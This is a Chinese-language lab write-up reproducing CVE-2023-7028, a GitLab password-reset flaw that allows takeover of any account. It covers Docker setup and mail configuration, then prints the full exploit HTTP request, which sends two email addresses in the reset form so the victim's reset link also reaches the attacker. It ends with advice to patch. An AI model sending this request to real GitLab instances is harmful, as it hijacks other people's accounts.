GitLab任意用户接管漏洞复现(CVE-2023-7028)

0x01 简介

GitLab 是一个基于 Git 版本控制系统的开源软件平台,用于软件开发和协作。它提供了代码仓库管理、问题跟踪、持续集成、代码审查等功能,旨在帮助团队高效地协作和管理软件开发项目。

0x02 漏洞概述

CVE-2023-7028 GitLab 任意用户密码重置漏洞,攻击者可以利用忘记密码功能,构造恶意请求获取任意账号密码重置链接从而重置密码。因此漏洞的利用条件为:

  • 任意用户的邮箱
  • 邮件功能正常使用

总得来说利用条件还是有点难度的。

0x03 影响版本

16.1 <= Gitlab CE/EE < 16.1.6

16.2 <= Gitlab CE/EE < 16.2.9

16.3 <= Gitlab CE/EE < 16.3.7

16.4 <= Gitlab CE/EE < 16.4.5

16.5 <= Gitlab CE/EE < 16.5.6

16.6 <= Gitlab CE/EE < 16.6.4

16.7 <= Gitlab CE/EE < 16.7.2

0x04 环境搭建

Gitlab 提供了 Docker 镜像,环境搭建就比较简单,本次复现用到的环境为 Gitlab CE 16.1.2 版本,使用 docker pull 拉取镜像。

1
docker pull gitlab/gitlab-ce:16.1.2-ce.0

拉取完成后,启动镜像

1
docker run -d -p 8443:443 -p 8080:80 gitlab/gitlab-ce:16.1.2-ce.0

启动过程有点慢,需要等待一分钟,随后访问 http://:8080,即可

用 docker exec 命令进入容器,查看管理员的密码

1
2
docker exec -it <xx> bash
cat /etc/gitlab/initial_root_password

下一步配置邮箱, Gitlab 的邮箱配置文件在 /etc/gitlab/gitlab.rb,这里以 QQ 邮箱为例。

1
2
3
4
5
6
7
8
9
10
gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = "smtp.qq.com"
gitlab_rails['smtp_port'] = 465
gitlab_rails['smtp_user_name'] = "xxx@qq.com"
gitlab_rails['smtp_password'] = "xxxxxx" # 授权码
gitlab_rails['smtp_domain'] = "smtp.qq.com"
gitlab_rails['smtp_authentication'] = "login"
gitlab_rails['smtp_enable_starttls_auto'] = false
gitlab_rails['smtp_tls'] = true
gitlab_rails['gitlab_email_from'] = 'xxxx@qq.com'

配置完成后重启相关服务

1
2
gitlab-ctl reconfigure
gitlab-ctl restart

重启之后验证邮箱是否配置成功

1
2
3
4
5
# 进入控制台
gitlab-rails console

# 发送测试邮件
Notify.test_email('xxx@qq.com', 'test', 'test').deliver_now

若成功会得到如下提示:

0x05 漏洞复现

在复现之前要为管理员账号分配一个邮箱,因为默认的 admin@example.com 邮箱不能发送邮件,配置过程如下:

进入 /users/password/new 进入到重置密码的页面,这里受害者为 qq.com,攻击者为 163.com,输入邮箱并抓包

具体数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /users/password HTTP/1.1
Host: host
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://host
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://host/users/password/new
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _gitlab_session=a24deffb7bc6b695aa82c3ad9f227258
Connection: close

authenticity_token=XoocxzQUkgVfw4GlZ-Nk4aLo3rHROqeB_YJsyljOPpnj5FnMNJhDrSMa2ft58qM_680wLghb_CAQLximm6yARg&user%5Bemail%5D%5B%5D=A%40qq.com&user%5Bemail%5D%5B%5D=B%40163.com

随后在攻击者的邮箱收到了重置密码的邮件

Gitlab 将重制密码邮件发送到了两个邮箱,攻击者可以利用邮件中的链接重制受害者的密码,从而接管账号。

使用邮件中重制密码的链接重制密码

重制密码成功后,使用修改的密码成功登陆 A 账号

0x06 修复方式

官方已发布新补丁,请及时更新到新版本。

0x07 参考链接:

https://xz.aliyun.com/t/13260